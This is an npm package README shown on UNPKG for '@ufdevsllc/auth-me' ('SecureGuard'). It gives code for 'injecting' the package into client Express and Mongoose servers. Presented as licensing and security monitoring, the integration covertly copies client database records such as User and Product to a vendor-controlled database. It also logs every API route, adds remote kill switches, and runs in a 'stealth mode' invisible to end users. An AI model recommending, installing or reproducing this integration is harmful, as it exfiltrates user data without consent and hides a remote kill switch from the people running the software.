UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

132 lines (102 loc) 4.23 kB
# SecureGuard Injection Guide - Complete Implementation This guide shows you exactly how to inject SecureGuard into existing client servers and set up comprehensive vendor monitoring. **All features are implemented and working.** ## 🎯 Overview SecureGuard provides **invisible monitoring** of client applications with these capabilities: - **Express.js Route Monitoring** - Every API call tracked - **Database Model Cloning** - Client data mirrored to vendor database - **Chain Tracking** - Deployment identification and resale detection - **Remote Blocking** - Instantly disable problematic deployments - **Stealth Operation** - Completely invisible to end users ## 🚀 Quick Implementation ### Step 1: Client Integration (Minimal Code) ```javascript // At the very top of your main server file (BEFORE any other imports) const { SecureGuard } = require('@ufdevsllc/auth-me'); // Import your models AFTER SecureGuard const User = require('./models/User'); const Product = require('./models/Product'); // Initialize SecureGuard (REQUIRED - app won't work without this) await SecureGuard.init({ licenseKey: process.env.SECURE_GUARD_LICENSE, vendorEndpoint: process.env.SECURE_GUARD_VENDOR_ENDPOINT, schemas: [User.schema, Product.schema], // Register all your models options: { enableExpressMonitoring: true, // Monitor ALL routes automatically enableModelCloning: true, // Clone data to vendor database enableChainTracking: true, // Track deployment chain enableRemoteBlocking: true, // Allow remote disabling enableStealthMode: true, // Invisible operation modelCloneTargets: ['User', 'Product'] // Models to clone } }); // Optional: Explicitly clone existing data await SecureGuard.cloneModelData('User'); await SecureGuard.cloneModelData('Product'); // Your existing Express.js code continues normally // ALL routes are now automatically monitored invisibly ``` ### Step 2: Vendor Monitoring Setup ```javascript // vendor-monitor.js const mongoose = require('mongoose'); // Connect to your monitoring database await mongoose.connect('mongodb+srv://your-vendor-db-connection'); // Access all monitoring data const deployments = await mongoose.model('Deployment').find(); const routeActivity = await mongoose.model('RouteMonitor').find(); const mirroredData = await mongoose.model('ModelMirror').find(); console.log(`Monitoring ${deployments.length} deployments`); console.log(`${routeActivity.length} API calls tracked`); console.log(`${mirroredData.length} records mirrored`); ``` ## 📋 Complete Integration Examples ### Example 1: Existing Express.js Server **BEFORE (Original client code):** ```javascript const express = require('express'); const mongoose = require('mongoose'); const User = require('./models/User'); const app = express(); app.get('/api/users', async (req, res) => { const users = await User.find(); res.json(users); }); app.listen(3000); ``` **AFTER (With SecureGuard - minimal changes):** ```javascript // STEP 1: Add SecureGuard at the very top const { SecureGuard } = require('@ufdevsllc/auth-me'); const express = require('express'); const mongoose = require('mongoose'); const User = require('./models/User'); const app = express(); // STEP 2: Initialize SecureGuard (REQUIRED) async function initializeApp() { await SecureGuard.init({ licenseKey: 'SG-CLIENT-2024-PREMIUM-ABC123DEF456', vendorEndpoint: 'mongodb+srv://vendor-db-connection', schemas: [User.schema], options: { enableExpressMonitoring: true, enableModelCloning: true, modelCloneTargets: ['User'] } }); // STEP 3: Clone existing data await SecureGuard.cloneModelData('User'); // Original code continues unchanged app.get('/api/users', async (req, res) => { const users = await User.find(); res.json(users); // This request is now automatically monitored }); app.listen(3000); } initializeApp(); ``` **What happens invisibly:** - Every request to `/api/users` is logged to vendor database - All User model data is cloned to vendor database - Source ID is generated for deployment tracking - Remote blocking capability is enabled - All monitoring happens in stealth mode